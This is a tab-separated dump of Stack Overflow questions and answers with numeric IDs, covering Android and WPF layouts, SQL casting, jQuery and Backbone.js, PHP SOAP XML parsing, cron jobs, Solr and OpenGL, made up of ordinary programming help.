5716076	0	Android: Gridview not showing correctly <p>I'm trying to build a screen with a single column grid that is 180px wide and attaches to the right side of the screen. The problem I'm facing is that the background of the gridview paints the whole screen and not just that 180px I specified in the XML (thus blocking my background pic specified in the LinearLayout).</p> <p>Neither using weight nor gravity solves the problem.</p> <p>Seems simple enough yet I've been toying with this for hours to no avail. Thanks in advance for your help.</p> <p>My layout.xml as follows:</p> <pre><code>&lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/main_bkgd"&gt; &lt;GridView android:layout_height="fill_parent" android:scrollbars="none" android:numColumns="1" android:columnWidth="180px" android:verticalSpacing="6dp" android:layout_width="wrap_content" android:id="@+id/mainmenu_grid" android:gravity="right" android:fadingEdge="vertical" android:layout_gravity="right" android:background="#000000" android:layout_weight=".35"&gt; &lt;/GridView&gt; &lt;/LinearLayout&gt; </code></pre>
29012370	0	 <p>The error is being returned because the conditions being evaluated are not short-circuiting - the condition <code>PostalCode&lt;7000</code> is being evaluated even where the postal code is non-numeric.</p> <p>Instead, try:</p> <pre><code>SELECT * from Person.Address WHERE CASE WHEN PostalCode NOT LIKE '%[^0-9]%' THEN CAST(PostalCode AS NUMERIC) ELSE CAST(NULL AS NUMERIC) END &lt;7000 </code></pre> <p>(Updated following comments)</p>
28464752	0	not entering the condition if(intent.resolve(getPackageManager()){} neither else{} <p>Hey I want my app to locate someone on a map so I made an intent but it's not working and I've no error so I'm a bit lost. I think I've no app that can perform a map location on my emulator but even then I should have that said in my logs. Here is the code: </p> <pre><code>private void openLocationInMap(){ Log.d("map","in fct"); SharedPreferences sharedPreferences = PreferenceManager.getDefaultSharedPreferences(this); final String BASE_URL ="geo:0,0?q="; Log.d("map","1"); String locationData = sharedPreferences.getString(getString(R.string.pref_location_key), getString(R.string.pref_location_default)); Log.d("map","2"); Uri uriGeolocalisation = Uri.parse(BASE_URL).buildUpon() .appendQueryParameter("q", locationData).build(); Log.d("map","3"); Intent intent = new Intent (Intent.ACTION_VIEW); intent.setData(uriGeolocalisation); Log.d("map","4"); if(intent.resolveActivity(getPackageManager()) != null) { Log.d("map", "in if"); startActivity(intent); }else{ Log.d("map", "couldn't open intent"); } Log.d("map","5"); } </code></pre> <p>And in my log debug I get :</p> <p>in fct, 1,2,3,4. </p> <p>Edit: if that can help it works on my phone but still not working on the emulator. I'm guessing it's because I don't have google map on my emulator but still I should see something in the logs which I don't.</p>
2244268	0	 <p>Have you setup your cancelbutton property ??</p> <p></p>
8388514	0	 <p>The error message to me indicates that the VM is trying to find <code>PingBack</code> in <code>PostsController</code>, I am thinking you are missing a require or include statement for <code>PingBack</code>.</p>
41028172	0	A simple if statement seems to mess one function <p>I´m trying to hide and show some of the input fields in a form with jQuery. But it seems as the first if statement in the is messing things up. If I comment the if statement, everything works like a charm (except to check the default radio button if old input is missing).</p> <p>The line <code>{{ old('type_of_content') }}</code> is from the Laravel Framework to retrieve old form input data if the validation fails.</p> <pre><code>$(document).ready(function(){ // Set the checked radiobutton var radio_checked = '{{ old('type_of_content') }}'; if (radio_checked) { // check if variable is empty or not $('input:radio[id='+radio_checked+']').attr('checked', true); }else{ $('input:radio[id=is_question]').attr('checked', true); } $.fn.showQuestion = function(){ $("#remove_questions_choices").show(); $("#remove_questions_box").show(); $("#data").show(); // Fråga $("#information_body").hide(); $("#is_information").attr("checked", false) $("#is_question").attr("checked", true) alert('Question is selected') } $.fn.showInformation = function(){ $("#remove_questions_choices").hide(); $("#remove_questions_box").hide(); $("#data").hide(); $("#information_body").show(); $("#is_question").attr("checked", false) $("#is_information").attr("checked", true) alert('Information is selected') } // If radio button is changed by user click $('input:radio[name=type_of_content]').change(function () { if ($("#is_question:checked").val()) { $.fn.showQuestion(); } if ($("#is_information:checked").val()) { $.fn.showInformation(); } }); // When a radio button is selected on page load (working) $('#is_question:checked').val(function(){ $.fn.showQuestion(); }); $('#is_information:checked').val(function(){ $.fn.showInformation(); }); }); </code></pre> <p>The expected result should be to check if old input data exist, and check the corresponding radio button if so. Else, check the "default" radio button. No errors is reported in the chrome dev tools.</p> <p>But what is happening is that i cannot "reselect" the <code>#is_question</code>, the <code>showQuestion()</code>. But <code>showInformation()</code> seems to be working.</p> <p>Using jQuery 3.1.0</p> <p>Made a fiddle: <a href="https://jsfiddle.net/zs85p7nx/" rel="nofollow noreferrer">https://jsfiddle.net/zs85p7nx/</a></p>
26437889	0	 <p>Ok, I downloaded your zip and ran the program. Your problem isn't in the matrix multiplication at all. The advice in the comments is still valid about reducing the number of threads, however as it stands the multiplication happens very quickly.</p> <p>The actual problem is in your <code>writeToAFile</code> method - all the single-threaded CPU utilization you are seeing is actually happening in there, after the multiplication is already complete.</p> <p>The way you're appending your strings:</p> <pre><code>fileOutputString = fileOutputString + resultMatrix[i][j] </code></pre> <p>creates thousands of new <code>String</code> objects which then immediately become garbage; this is very inefficient. You should be using a <code>StringBuilder</code> instead, something like this:</p> <pre><code>StringBuilder sb=new StringBuilder(); for (int i = 0; i &lt; resultMatrix.length; i++) { for (int j = 0; j &lt; resultMatrix[i].length; j++) { sb.append(resultMatrix[i][j]); if (j != resultMatrix[i].length - 1) sb.append(","); } sb.append("\n"); } String fileOutputString=sb.toString(); </code></pre> <p>That code executes in a fraction of a second.</p>
34308809	0	 <p>It seems that the behavior of <code>NSBundle preferredLocalizationsFromArray</code> changed from iOS 8.4 to 9.0.</p> <p>Example: I have selected "Austria" as region, and "German" as language.</p> <ul> <li>iOS 8.4 returns only one preferredLocalization "de".</li> <li>iOS 9.0 returns two - "de_AT" and "de". </li> </ul> <p>For "de_AT", <code>NSBundle pathForResource</code> cannot find the "de" localization, and returns nil.</p> <p>Fixed with this (ideally unnecessary) workaround:</p> <pre><code>NSArray* availableLocalizations = [[NSBundle mainBundle] localizations]; NSArray* userPreferred = [NSBundle preferredLocalizationsFromArray:availableLocalizations forPreferences:[NSLocale preferredLanguages]]; NSString *indexPath; for (NSString *locale in userPreferred) { indexPath = [[NSBundle mainBundle] pathForResource:@"hilfe" ofType:@"html" inDirectory:nil forLocalization:locale]; if (indexPath) break; } </code></pre>
39177415	0	length field in Object Class <p>Sorry if this question have been asked before. I have some doubts regarding length field of Object class. Correct me if i am wrong, Every class impilcitly extends Object class thats why we can access every methods like equals,clone,hashcode etc</p> <p>So my question is when we create any array for example array of int[] ,foo[] we can access length field of Object class but when we create any object we can not see length variable, why?</p>
40679484	0	Removing schema details from ouput xml and converting into array (Using PHP SoapClient and simplexml_load_string or SimpleXMLElement) <p>I am getting XML response from third party service,</p> <pre><code>$soap = new SoapClient($wsdl, $options); $data = $soap-&gt;method($params); </code></pre> <p>Response looks like Stdclass object values</p> <p><strong>$data</strong> contains the xml inside the array object</p> <p><strong>$data->resultResponse->any</strong> contains below xml format,</p> <pre><code>&lt;xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="NewDataSet"&gt;&lt;xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="Temp" ..... &lt;/xs:element&gt;&lt;/xs:schema&gt;&lt;diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"&gt;&lt;DocumentElement xmlns=""&gt;&lt;Temp diffgr:id="Temp1" msdata:rowOrder="0"&gt;&lt;name&gt;Siva&lt;/name&gt;&lt;age&gt;18&lt;/age&gt;....&lt;location&gt;chennai&lt;/chennai&gt;&lt;/Temp&gt;&lt;Temp diffgr:id="Temp2" msdata:rowOrder="0"&gt;&lt;name&gt;John&lt;/name&gt;&lt;age&gt;18&lt;/age&gt;....&lt;location&gt;chennai&lt;/chennai&gt;&lt;/Temp&gt; </code></pre> <p></p> <p>I am getting below error When this xml using in to <strong>SimpleXMLElement</strong> or <strong>simplexml_load_string</strong> for array conversion ,</p> <pre><code>$res = $data-&gt;resultResponse-&gt;any; $res1 = new SimpleXMLElement($res); $res2 = simplexml_load_string($res); </code></pre> <p>For the both $res1 &amp; $res2,</p> <pre><code>Warning: simplexml_load_string(): Entity: line 1: parser error : Extra content at the end of the document in soap.php on line 40 </code></pre> <p>I don't want the <code>"&lt;xs:schema"</code> from that xml. I want <code>"&lt;diffgr:diffgram"</code> values.</p> <p>Previously, I used nusoap library for this. That is working fine for less memory data. Nusoap converts the whole xml into array. But, Php-Soap client gives only the first-level elements as objects/key.</p> <p>I tried already some ways in loadXml in DOM and preg_replace. But those are not much helpfull</p> <p>Please help me to resolve the problem.</p> <p><strong>Original xml response getting from Boomerang,</strong></p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt; &lt;soap:Body&gt; &lt;ClaimMISResponse xmlns="http://tempuri.org/"&gt; &lt;ClaimMISResult&gt; &lt;xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"&gt; &lt;xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="Temp" msdata:UseCurrentLocale="true"&gt; &lt;xs:complexType&gt; &lt;xs:choice minOccurs="0" maxOccurs="unbounded"&gt; &lt;xs:element name="Temp"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="name" type="xs:string" minOccurs="0" /&gt; ... &lt;xs:element name="location" type="xs:string" minOccurs="0" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:choice&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:schema&gt; &lt;diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"&gt; &lt;DocumentElement xmlns=""&gt; &lt;Temp diffgr:id="Temp1" msdata:rowOrder="0"&gt; &lt;name&gt;John&lt;/name&gt; ... &lt;location&gt;Chennai&lt;/location&gt; &lt;/Temp&gt; &lt;/DocumentElement&gt; &lt;/diffgr:diffgram&gt; &lt;/ClaimMISResult&gt; &lt;/ClaimMISResponse&gt; &lt;/soap:Body&gt; &lt;/soap:Envelope&gt; </code></pre>
22847456	0	 <p>You can temporarily disable <strong>ScreenUpdating</strong></p> <pre><code>Sub SilentRunning() Application.ScreenUpdating = False ' ' do your thing ' Application.ScreenUpdating = True End Sub </code></pre>
37466531	0	WPF XAML ListView - Make TextBlock Text wrap <p>I have a ListView with ListView.ItemTemplate like this</p> <pre><code>&lt;ListView x:Name="myList" BorderBrush="Transparent" ItemsSource="{Binding MyItems}" SelectedIndex="0" ScrollViewer.CanContentScroll="True" ScrollViewer.VerticalScrollBarVisibility="Auto"&gt; &lt;ListView.ItemContainerStyle&gt; &lt;Style TargetType="ListViewItem"&gt; &lt;Setter Property="HorizontalContentAlignment" Value="Stretch"/&gt; &lt;Setter Property="Padding" Value="0" /&gt; &lt;/Style&gt; &lt;/ListView.ItemContainerStyle&gt; &lt;ListView.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;Grid Margin="5,5,5,5"&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition Width="200"/&gt; &lt;--THIS WILL FORCE WRAPPING &lt;ColumnDefinition Width="50"/&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;Grid&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="*"/&gt; &lt;RowDefinition Height="*"/&gt; &lt;/Grid.RowDefinitions&gt; &lt;TextBlock Text="{Binding FilePath}" Grid.Row="0" Margin="3,3,3,3" Style="{StaticResource MyFilePathTextLabel}" TextWrapping="WrapWithOverflow"/&gt; &lt;-- THIS WILL NOT WRAP TEXT &lt;StackPanel Orientation="Horizontal" Grid.Row="1" Margin="3,3,3,3"&gt; &lt;TextBlock Text="Lab location: "/&gt; &lt;TextBlock Text="{Binding LabLocation}" Style="{StaticResource MyLabLocationTextLabel}"/&gt; &lt;/StackPanel&gt; ... ... &lt;/DataTemplate&gt; &lt;/ListView.ItemTemplate&gt; ... ... &lt;/ListView&gt; </code></pre> <p>This will show ListView items like this:</p> <pre><code>---------------------------------- C:/samples/folderA/myfile1.txt &lt;-- NO WRAP AS IT FITS Lab location: Chemistry Lab 301 ---------------------------------- C:/samples/folderA/folderB/fold erC/folderD/folderE/folderF/myf ile2.txt &lt;-- WRAP SINCE NOT FITTING Lab location: Chemistry Lab 301 ---------------------------------- C:/samples/folderA/folderB/myfi le3.txt &lt;-- WRAP SINCE NOT FITTING Lab location: Chemistry Lab 301 ---------------------------------- C:/samples/folderA/folderB/fold erC/folderD/folderE/folderF/fol derG/folderH/folderI/folderJ/fo lderK/myfile4.txt &lt;-- WRAP SINCE NOT FITTING Lab location: Chemistry Lab 301 ---------------------------------- C:/samples/myfile5.txt &lt;-- NO WRAP AS IT FITS Lab location: Chemistry Lab 301 ---------------------------------- </code></pre> <p>Above, each item show file location as wrapped if it does not fit the width of the ListView.</p> <p><strong>UPDATE:</strong> Updated XAML</p> <p><strong>UPDATE 2:</strong> Setting the column Width of grid container to hardcoded value of will force wrapping (see above commented line). But since form is resizable, the grid and ListView is also resizable. Therefore, I can not hardcode width. <strong>It needs to wrap according to the current size of the form.</strong></p>
30494480	0	 <p>The simplest way in a nutshell:</p> <p><a href="https://jsfiddle.net/svArtist/2jd9uvx0/" rel="nofollow">https://jsfiddle.net/svArtist/2jd9uvx0/</a></p> <ol> <li><p>hide lists inside other lists</p></li> <li><p>upon hovering list elements, show the child lists</p></li> </ol> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>ul ul { display:none; display:absolute; bottom:-100%; } li{ position:relative; } li:hover&gt;ul { display:table; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;ul&gt; &lt;li&gt;&lt;a href="#"&gt;The Salon&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="#"&gt;Hair Cut&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt;</code></pre> </div> </div> </p>
10258924	0	JSON and iOS and string data <p>I have a problem with my attempt to show data in JSON UITableViewDataSource The data from JSON are:</p> <pre><code>[ "Jon", "Bill", "Kristan" ] </code></pre> <p>JSON itself has gone through the validator. The error I have is TableViews [2050: f803] Illegal start of token [h]</p> <p>Here is my code</p> <pre><code>NSString *myRawJson = [NSString stringWithFormat:@"http://site.com/json.php"]; if ([myRawJson length] == 0){ return; } NSError *error = nil; SBJsonParser *parser = [[SBJsonParser alloc] init]; tableData =[[parser objectWithString:myRawJson error:&amp;error] copy]; NSLog(@"%@", [error localizedDescription]); list = [[NSArray alloc] initWithObjects:@"Johan", @"Polo", @"Randi", @"Tomy", nil]; [super viewDidLoad]; // Do any additional setup after loading the view, typically from a nib. </code></pre>
1153940	0	 <p>This is not really a programming question, but more of the management question.</p> <p>Missed deadlines are rarely developer's fault. As a developer you should try your best to do as good work as you can, but in the end everyone is capable of only so much. If developers put in honest effort and despite this the deadline was missed, it means that the deadline was unrealistic to begin with.</p> <p>Dealing with deadlines is responsibility of managers. There are different approaches but none of them include "penalizing" developers for doing their job. An important thing to understand here is the so-called project management <a href="http://en.wikipedia.org/wiki/Project_triangle" rel="nofollow noreferrer">triangle</a>. What it means is that software project can be good (i.e. meeting requirements, good quality), fast (meeting deadlines) and cheap (headcounts, tools). The trouble is that only 2 out of these 3 properties can be chosen.</p> <p>So if management want something good and fast - it is not going to be cheap.</p> <p>If management want something good and cheap - it won't be fast.</p> <p>And finally if management want cheap and fast - guess what, it won't be any good.</p> <p>So the correct response to missed deadline depends on the chosen scenario. Good and fast requires adding some extra help, better tools, investment in above-average developers and more. </p> <p>Good and cheap by definition assumes that deadlines are going to be missed (Blizzard, makers of World Of Warcraft are good example of this approach)</p> <p>And finally cheap and fast usually means cutting features and releasing with bugs.</p>
27592971	0	 <p>You're conflating system call numbers with the system call arguments.</p> <p>The system call numbers (e.g. "3 = read") are OS-specific (well, kernel-specific), and sometimes version-specific. For example, see the system call numbers for Linux on x86 <a href="http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html" rel="nofollow">here</a> and on x86_64 <a href="https://filippo.io/linux-syscall-table/" rel="nofollow">here</a>. How the arguments are passed, how the system call is invoked, and what the system call numbers mean are all architecture- and kernel-specific.</p> <p>The number "0" for "standard input" on the other hand is a UNIX standardized value, <code>STDIN_FILENO</code>.</p>
12851914	0	 <p>No. Once a blob is created/uploaded you can't change the blob type. Unfortunately you would need to recreate/re-upload the blob. However I'm somewhat surprised. You mentioned that you copied the blob from one storage account to another. Copy Blob operation within Windows Azure (i.e. from one storage account to another) preserves the source blob type. It may seem a bug in CloudBerry explorer. I wrote a blog post some days ago about moving virtual machines from one subscription to another (<a href="http://gauravmantri.com/2012/07/04/how-to-move-windows-azure-virtual-machines-from-one-subscription-to-another/">http://gauravmantri.com/2012/07/04/how-to-move-windows-azure-virtual-machines-from-one-subscription-to-another/</a>) and it has some sample code and other useful information for copying blobs across storage account. You may want to take a look at that. HTH.</p>
10649734	0	 <p>Sounds like you need some sort of a mechanism to correlate requests to the different plugins available. Ideally, there should be a different URL path per set of operations published for each plugin. </p> <p>I would consider implementing a sort of map/dictionary of URL paths to plugins. Then for each request received, do a lookup in the map and get the associated plugin and send it the request accordingly. If there is no entry in the map, then a redirect/proxy could be sent. For example if URL = <code>http://yourThriftServer/path/operation</code>, the operation or the path <strong><em>and</em></strong> operation would map to a plugin.</p> <p>An extra step would be to implement a sort of meta request, whereby a client could query what URL paths/operations are available in the server.</p>
34528881	0	cronjob not working on Ubuntu server <p>I am trying to execute a cronjob on ubuntu server, below are its code:</p> <pre><code>$cronjobs = array(); $cronjobs['cron_24hr_sendmessage'] = '* * * * *'; $cronjobs['cron_1hr_sendmessage'] = '* * * * *'; $cronjobs['cron_10mnt_sendmessage'] = '* * * * *'; $cronjobs['cron_for_insertdataforappointmentstemporary'] = '* * * * *'; $cronjobs['cron_for_delete2daysoldclientdata'] = '0 0 1 * *'; $cronjobs['send_call_for_appointment'] = '* * * * *'; $cronjobs['giveWarningMessage'] = '* * * * *'; $cronjobs['redialCallForUnsuccessfullAppointment'] = '3 * * * *'; $cronjobs['voidPaymentForUnsuccessfulAppointment'] = '0 1 * * *'; $cronjobs['counselorStatusUpdate'] = '* * * * *'; </code></pre> <p>Which work perfectly fine for me. Now i have added one more cronjob in it and now that new cron is not working properly</p> <p>New cron is :</p> <pre><code>$cronjobs['oneMinuteWarning']='* * * * *'; </code></pre> <p>And the codes are as follow :</p> <pre><code>$cronjobs = array(); $cronjobs['cron_24hr_sendmessage'] = '* * * * *'; $cronjobs['cron_1hr_sendmessage'] = '* * * * *'; $cronjobs['cron_10mnt_sendmessage'] = '* * * * *'; $cronjobs['cron_for_insertdataforappointmentstemporary'] = '* * * * *'; $cronjobs['cron_for_delete2daysoldclientdata'] = '0 0 1 * *'; $cronjobs['send_call_for_appointment'] = '* * * * *'; $cronjobs['giveWarningMessage'] = '* * * * *'; $cronjobs['redialCallForUnsuccessfullAppointment'] = '3 * * * *'; $cronjobs['oneMinuteWarning'] = '* * * * *'; $cronjobs['voidPaymentForUnsuccessfulAppointment'] = '0 1 * * *'; $cronjobs['counselorStatusUpdate'] = '* * * * *'; </code></pre> <p>i also tried it running by changing cron position and now new cron start working and all remaning cron stop working.</p>
36068325	0	 <p>You should use your frames converted to single channel, i.e. of type <code>CV_8UC1</code>:</p> <pre><code>disparity = stereo.compute(frame0_new, frame1_new) </code></pre>
19261554	0	 <p>You need to move the delete query parameter up in your Url. I suspect that it is getting lost after the query parameter. Try the following:</p> <pre><code> http://localhost:8983/solr/update?commit=true&amp;stream.body=&lt;delete&gt;&lt;query&gt;id:APP 5.6.2*&lt;/query&gt;&lt;/delete&gt; </code></pre>
21123593	0	How to get the value of a static object from within that object? <p>I’m trying to create a extern pointer to the value of a static object from within that static object. We’ll call this object Foo.</p> <p>Thus far, the only way I’ve gotten this to work is to create a Supervisor class that Foo inherits from that contains two static type variables. One, called superObject is the actual initialized object. The other, called superPointer, is a double pointer of the same type. Inside of the Foo object I declare an extern pointer named TheSupervisor and assign it a nullptr. Then, from within the Supervisor base class, I use the double pointer superPointer to change the value of TheSupervisor extern pointer to the address of the superObject. Wallah.</p> <p>The goal is here to create a globally accessible reference to this object. Trying my best to avoid singletons and keep things thread safe. I’m just wondering if there’s a better way?</p> <p>I'd post code, but I'd really have to clean it and change it around. I think the description is sufficient. Maybe even simpler, actually.</p> <p>EDIT: As it turns out, for static objects, I can't rely on when and in what order they are constructed. Using a one-phase process won't work for this. Instead, I have to keep relying on a two-phase process such as the one I outlined above. Marking Ilya Kobelevskiy's answer as correct as it demonstrates one way to do it, but again, it should come with a warning when used with static objects.</p>
22036801	0	 <p>please refer this link i hope this is very help full for your requirements.<a href="http://www.androidhive.info/2011/11/android-sqlite-database-tutorial/" rel="nofollow">click here</a></p>
26416695	0	cannot convert argument 2 from 'std::string *' to 'std::string' <p>Not sure why this is happening, it seems like everything is lined up the way it should be unless there is something I am missing. I can't pass these variables and no matter what I try to throw at the compiler, it just gives me another error. </p> <p>This is my code so far.</p> <pre><code>void parse(string name, string storage_1, string storage_2, string storage_3) {//some code } //some more code int start = 0; int length = 0; string param_1, param_2, param_3; while (!infile.eof()) { if (!infile) { cout &lt;&lt; "ERROR: File " &lt;&lt; file &lt;&lt; " could not be located!" &lt;&lt; endl &lt;&lt; endl; break; } param_1.clear(); param_2.clear(); param_3.clear(); line_input.clear(); getline(infile, line_input); parse(line_input, &amp;param_1, &amp;param_2, &amp;param_3); cout &lt;&lt; param_1 &lt;&lt; endl &lt;&lt; param_2 &lt;&lt; endl &lt;&lt; param_3 &lt;&lt; endl &lt;&lt; endl; } </code></pre>
8591816	0	 <p>It appears as if running it through the FileProtocolHandler causes it to open fine.</p> <pre><code>final Process process = Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler \\\\itsugar\\www\\HMI\\POD EDRAWINGS\\"+fileName); </code></pre>
20489905	0	 <p>whenever you specify the namespace it means that the controller will search for the required resources in that particular namespace. So what i think is that you may not have some jsps that you are using in that particular "admin" namespace. So try moving all those resources into that folder. tell me if your code still not working</p>
9468987	0	 <pre><code>$files = scandir("./"); foreach ($files as $filename) echo "&lt;input type=\"checkbox\" name="files[]" value="{$filename}" /&gt; {$filename}"; </code></pre>
38531724	0	 <p><code>Module.decorator</code> was introduced as a shortcut for <code>$provide.decorator</code> in 1.4. <code>$provide.decorator</code> may be still used for backward compatibility.</p> <p>The obvious property of <code>$provide</code> methods is that function scope has access to both provider and instance injectors:</p> <pre><code>app.config(($provide, $compileProvider) =&gt; { $provide.decorator('linkService', ($delegate) =&gt; { $compileProvider.aHrefSanitizationWhitelist(...); return $delegate; }); </code></pre> <p>Less obvious but still important property of <code>$provide</code> methods is that they affect the application after config phase, while module methods don't, this creates the possibilities for lazy loading and other undocumented but potentially beneficial techniques:</p> <pre><code>app.config(($provide) =&gt; { $provide.value('$provide', $provide)); }); app.run(($provide) =&gt; { // app.decorator('service', ...) will do nothing here $provide.decorator('service', ...); }); app.run((service) =&gt; { ... }); </code></pre>
29042866	0	 <p>If you can use conio.h then you can do that by reading input in a character array with getch() function. Or if you are in visual studio you can use _getch() function for the same result.</p> <p>conio.h defines function named getch() and getche() which reads a character then terminates without any enter key. Both these functions have specific meanings while they do the same task. I don't use those any more so I don't remember much. It's upto you if you wanna use them or not...</p>
10629435	0	Backbone.js rendering a reset collection with a single view <p>I'm trying to render a filtered collection from a single view using a select box using the reset property. First issue is that the select box and the rendered content must all appear in the same div in order to work. Is this normal? Second issue, is that instead showing the filtered results only, it appends the filtered collection to the end of the rendered content instead of replacing it.I know append in my ._each function won't work because it will only append the filtered items to the end of the entire collection. Here's my code sample below:</p> <pre><code>(function($) { var images = [ { tags: "Fun", date : "April 3, 2012", location : 'Home', caption : 'Having fun with my lady'}, { tags: "Chillin", date : "April 4, 2012", location : 'Home', caption : 'At the park with my lady'}, { tags: "Professional", date : "April 5, 2012", location : 'Home', caption : 'At the crib with my lady'}, { tags: "Education", date : "April 6, 2012", location : 'Home', caption : 'Having fun with my baby'}, { tags: "Home", date : "April 3, 2012", location : 'Home', caption : 'Having fun with my lady'}, { tags: "Professional", date : "April 4, 2012", location : 'Home', caption : 'At the park with my lady'}, { tags: "Fun", date : "April 5, 2012", location : 'Home', caption : 'At the crib with my lady'}, { tags: "Chillin", date : "April 6, 2012", location : 'Home', caption : 'Having fun with my baby'}, { tags: "Fun", date : "April 3, 2012", location : 'Home', caption : 'Having fun with my lady'}, { tags: "Education", date : "April 4, 2012", location : 'Home', caption : 'At the park with my lady'}, { tags: "Personal", date : "April 5, 2012", location : 'Home', caption : 'At the crib with my lady'}, { tags: "Personal", date : "April 6, 2012", location : 'Home', caption : 'Having a play date'} ]; var Item = Backbone.Model.extend({ defaults : { photo : 'http://placehold.it/200x250' } }); var Album = Backbone.Collection.extend({ model : Item }); var ItemView = Backbone.View.extend({ el : $('.content'), initialize : function() { this.collection = new Album(images); this.render(); $('#filter').append(this.createSelect()); this.on("change:filterType", this.filterByType); this.collection.on('reset', this.render, this); }, template : $('#img_container').text(), render : function() { var tmpl = _.template(this.template); _.each(this.collection.models, function (item) { this.$el.append(tmpl(item.toJSON())); },this); }, events: { "change #filter select" : "setFilter" }, getTypes: function () { return _.uniq(this.collection.pluck("tags"), false, function (tags) { return tags.toLowerCase(); }); }, createSelect: function () { var filter = this.$el.find("#filter"), select = $("&lt;select/&gt;", { html: "&lt;option&gt;All&lt;/option&gt;" }); _.each(this.getTypes(), function (item) { var option = $("&lt;option/&gt;", { value: item.toLowerCase(), text: item.toLowerCase() }).appendTo(select); }); return select; }, setFilter: function (e) { this.filterType = e.currentTarget.value; this.trigger("change:filterType"); }, filterByType: function () { if (this.filterType === "all") { this.collection.reset(images); } else { this.collection.reset(images, { silent: true }); var filterType = this.filterType, filtered = _.filter(this.collection.models, function (item) { return item.get("tags").toLowerCase() === filterType; }); this.collection.reset(filtered); } } }); var i = new ItemView(); })(jQuery); </code></pre>
19871021	0	What is event.preventDefault preventing despite the event? <p>One goal of my main controller is to prevent users from going to urls of other users. That works perfectly fine with listening on $locationChangeStart and using its events preventDefault method. Unfortunately calling this method has the strange side effect of somehow "interrupting" the work of the function "handleNotification" which has the goal of notifying the user for 2 seconds that she or he has done something illegitimate. If I comment out event.preventDefault(), everything works as expected. So my question is: What is the 'scope' of the 'default' preventDefault prevents that I don't have on my mind and which keeps the handleNotification function from working properly? </p> <pre><code>$scope.$on('$locationChangeStart', function(event, newUrl, oldUrl) { ifUserIs('loggedIn', function() { if (newUrl.split('#/users/')[1] !== $scope.user.userId) { handleNotification('alert', 'You are not allowed to go here.'); event.preventDefault(); } }); }); function handleNotification (type, message) { $scope.notice = { content: message, type: type }; $timeout(function() { delete $scope.notice; return true; }, 2000); } </code></pre>
3879303	0	 <p>Try <a href="http://www.garshol.priv.no/download/text/http-tut.html#sresp" rel="nofollow">this</a></p> <p>Or <a href="http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" rel="nofollow">this</a></p> <p>You could also try to use google.com for some searching on the net by the way.</p>
3449783	0	 <p>Use <code>string.equals()</code> instead of ==.</p>
36108664	0	How to keep dashed lines from "dancing" in OpenGl? <p>I'm drawing some lines in OpenGL (from C) using code like this:</p> <pre><code>glLineStipple(6, 0xEEEE); glEnable(GL_LINE_STIPPLE); glBegin(GL_LINE_STRIP); glVertex2f(x, y); ... </code></pre> <p>It works great if everything is still. However, my problem is that as soon as I zoom in or out the line starts shimmering. I mean that the location of the dashes in the line move around. It looks very sloppy.</p> <p>Is there someway to anchor how the line is dashed in model space? I think my issue is that <code>glLineStipple()</code> look at the number of pixels drawn, but I'd like it to look at the length in model space instead.</p>
35335359	0	 <p>Check the updated fiddle here: <a href="http://jsfiddle.net/yrzxj3x2/3/" rel="nofollow">http://jsfiddle.net/yrzxj3x2/3/</a></p> <p>You have to tell the x axis to be of type 'timeseries' and defining the format doesn't hurt. This is the bit that enabled timeseries on your chart:</p> <pre><code>axis: { x: { type: 'timeseries', tick: { format: '%Y-%m-%d' } } } </code></pre> <p>See reference on here: <a href="http://c3js.org/samples/timeseries.html" rel="nofollow">http://c3js.org/samples/timeseries.html</a></p>
19066036	0	 <p>I personally would do <code>FILE *pipe = popen("md5sum filename");</code> [or something to that effect] - it is likely to be as fast as anything else, since 1GB of a file will take a little while to read, and the calculation is unlikely to be using much of your CPU time - most of the time will be waiting for the disk to load up the file. </p> <p>On my system, I created 6 files of 1GB each, and it takes 2 seconds to checksum the file with md5sum. (12 seconds for all 6 files). </p>
24732604	0	 <pre><code> function addBox() { var rect = new fabric.Rect({ width: 1000, height: 600, top: 300, left: 500, fill: ' ', draggable: false }); rect.lockMovementX = true; rect.lockMovementY = true; rect.lockUniScaling = true; rect.lockRotation = true; canvas.add(rect); } make your fill null and if you want to have a border use strokeWidth: 3, stroke: "color" </code></pre>
10216635	0	 <p>Assuming that identifyArrayCollection is an ArrayCollection containing some Objects and speedsArrayCollection is an ArrayCollection defined as variable of the Object type that are contained in the identifyArrayCollection </p> <p>you should do:</p> <pre><code>for (var x:Number = 0; x &lt; identifyArrayCollection.length; x++) { identifyArrayCollection.getItemAt(x).speedsArrayCollection.addItem(speedsObj); } </code></pre>
